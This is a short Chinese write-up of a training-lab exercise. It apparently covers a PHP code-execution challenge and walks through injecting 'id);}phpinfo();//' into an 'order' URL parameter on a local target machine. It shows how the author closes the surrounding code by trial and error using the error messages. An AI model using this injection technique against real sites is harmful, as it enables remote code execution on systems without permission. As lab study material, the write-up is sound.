我们打开靶机
选择“Example 2”
观察页面
观察不出什么
我们先打开靶机源码
进行观察
经过网上大神分析
payload为
id);}phpinfo();//
修改id参数为
http://192.168.29.148/codeexec/example2.php?order=id);}phpinfo();//
结果
分析过程
可以看到这里面唯一一个可控变量就是$order,这里自然而然就想到我们可以和sql注入一样去闭合前面语句然后插入我们想要执行的代码。
so,尝试闭合构造如下:
?order=id;}// 报错Parse error: syntax error, unexpected ';' 我们可能少了一个或者多个括号。
?order=id);}// 警告Warning: strcmp() expects exactly 2 parameters, 1 given到报的不是语法错误,这个应该可行。
?order=id));}// 继续加括号,报错Parse error: syntax error, unexpected ')'应该是多括号的原因。
我们就知道如何闭合上面的代码并加上自己想要执行的代码,Warning只是一个警告,代码依旧会执行。